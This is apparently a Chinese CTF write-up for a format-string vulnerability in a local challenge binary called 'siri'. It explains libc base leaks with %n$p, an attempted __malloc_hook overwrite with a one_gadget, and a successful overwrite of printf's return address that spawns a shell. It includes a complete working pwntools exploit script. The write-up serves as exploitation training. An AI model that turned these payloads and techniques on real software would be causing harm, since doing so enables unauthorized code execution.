星盟安全格式化字符串漏洞利用中的一道例题
本地环境位于Ubuntu22.04
checksec:
保护全开,无法劫持got表
IDA:
在sub_1212函数
存在格式化字符串漏洞,不存在栈溢出,触发过程如下:
发送"Hey Siri!"
==>发送"Remind me to " + payload
思路:
1.劫持__malloc_hook或者__free_hook函数地址为onegadget,最后printf打印大量字符调用malloc
2.修改printf函数的返回地址为onegadget
方法一:劫持__malloc_hook
onegadget
获取onegadget相对于libc基址的偏移,注意使用条件
获取libc基址
利用格式化字符串漏洞打印'__libc_start_main'
函数真实地址,减去函数偏移即可得到libc基址
基址加上'__malloc_hook'
函数的偏移即可得到'__malloc_hook'
函数真实地址
基址加上onegadget
的偏移即可得到onegadget
真实地址,
libc_base = int(rc(14),16) - 128 - libc.symbols['__libc_start_main']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xebcf5
如何打印'__libc_start_main'
函数真实地址
利用%n$p
,下断点 b printf ,
当断在sub_1212函数的printf处时,stack 100
查看栈内容
利用fmtarg命令查看'__libc_start_main+128'
函数地址在栈上相对于printf是第几个参数
因此输入%103$p
即可获得'__libc_start_main+128'
地址,减去128即为'__libc_start_main+128'
函数真实地址
格式化字符串劫持__malloc_hook函数地址
利用"%{}c%{}$hn".format(target_size,address)
修改指定地址的内容为目标大小,每次写2个字节,64位地址一共6个字节,需要写3次
在这里我们需要将'__malloc_hook'
函数的地址修改为onegadget
地址,即将下图红框内容修改为onegadget
第一次写最后2个字节,第二次中间两个字节,第三次写前面2个字节
写地址脚本如下:
write_size = 0
offset = 55
payload = ''
for i in range(3):
num = (one_gadget >> 16*i) & 0xffff
num -= 27
if(num > write_size&0xffff):
payload += "%{}c%{}$hn".format(num - (write_size&0xffff),offset + i)
write_size += num - write_size&0xffff
else:
payload += "%{}c%{}$hn".format(0x10000 + num - (write_size&0xffff),offset + i)
write_size += 0x10000 + num - (write_size&0xffff)
# 凑偏移 55
payload = bytes(payload.encode('utf-8'))
payload = payload.ljust(0x38-13,b'a')
for i in range(3):
payload += p64(malloc_hook + i*2)
num -= 27是因为printf(">>> OK, I’ll remind you to " + payload)格式化字符串时,">>> OK, I'll remind you to "
有27个字节
payload.ljust(0x38-13,b’a’):
-13是因为send字符串时要以"Remind me to "
开头,有13个字节;
ljust(0x38-13,b’a’)是因为凑齐55的偏移,确定要修改的地址是printf的第几个参数(只要可以对应上,可以是其他的偏移)
注意写地址的大小
结果
劫持'__malloc_hook'
前:
劫持'__malloc_hook'
后:
可以看到劫持'__malloc_hook'
的地址已经被劫持为onegadget
的地址x7f04aa700cf5
最后发送大量内容%99999c
导致printf调用malloc分配缓冲区
siri(b"%99999c")
但是不知道什么原因呢无法触发,可能是因为onegadget的条件没有满足
方法二:劫持返回地址
进入printf函数后查看返回地址,即为rsp,可以通过泄露栈上地址减去相对偏移的方式得到存储返回地址的栈地址
这里选择泄露%7$p
处的地址
代码如下
siri(b"%7$p")
rcu(b">>> OK, I'll remind you to ")
rsp = int(rc(14),16) - 0x158
lg("rsp",rsp)
修改地址的方式和劫持malloc_hook一样,只需要将待修改的地址改为rsp即可
for i in range(3):
payload += p64(rsp + i*2)
劫持返回地址不需要发送大量内容去触发,成功获得shell
代码如下:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
from time import *
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rc = lambda num : p.recv(num)
rc_all = lambda : p.recv()
rcu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success("\033[1;31m%s\033[0m --> 0x%x" % (name,data))
get_addr_64 = lambda: u64(rcu(b"\x7f")[-6:].ljust(8,b"\x00"))
def db():
gdb.attach(p)
pause()
def dbs(src):
gdb.attach(p, src)
# siri
p =process("./siri")
elf = ELF("./siri")
libc = ELF("./libc.so.6")
def siri(payload):
rcu(b">>> ")
sdl(b"Hey Siri!")
rcu(b"you?\n>>> ")
sdl(b"Remind me to " + payload)
# dbs("b printf")
# siri(b"%45$p")
# rcu(b"0x")
# canary = int(rc(16),16)
## __libc_start_call_main+128 : %83$p
## __libc_start_main+128 : %103$p
siri(b"%103$p")
rcu(b">>> OK, I'll remind you to ")
libc_base = int(rc(14),16) - 128 - libc.symbols['__libc_start_main']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget = libc_base + 0xebcf5
lg("libc_base",libc_base)
lg("malloc_hook",malloc_hook)
lg("one_gadget",one_gadget)
siri(b"%7$p")
rcu(b">>> OK, I'll remind you to ")
rsp = int(rc(14),16) - 0x158
lg("rsp",rsp)
write_size = 0
offset = 55
payload = ''
for i in range(3):
num = (one_gadget >> 16*i) & 0xffff
num -= 27
if(num > write_size&0xffff):
payload += "%{}c%{}$hn".format(num - (write_size&0xffff),offset + i)
write_size += num - write_size&0xffff
else:
payload += "%{}c%{}$hn".format(0x10000 + num - (write_size&0xffff),offset + i)
write_size += 0x10000 + num - (write_size&0xffff)
# 凑偏移 55
payload = bytes(payload.encode('utf-8'))
payload = payload.ljust(0x38-13,b'a')
for i in range(3):
payload += p64(rsp + i*2)
siri(payload)
# sleep(0.1)
# siri(b"%99999c")
it()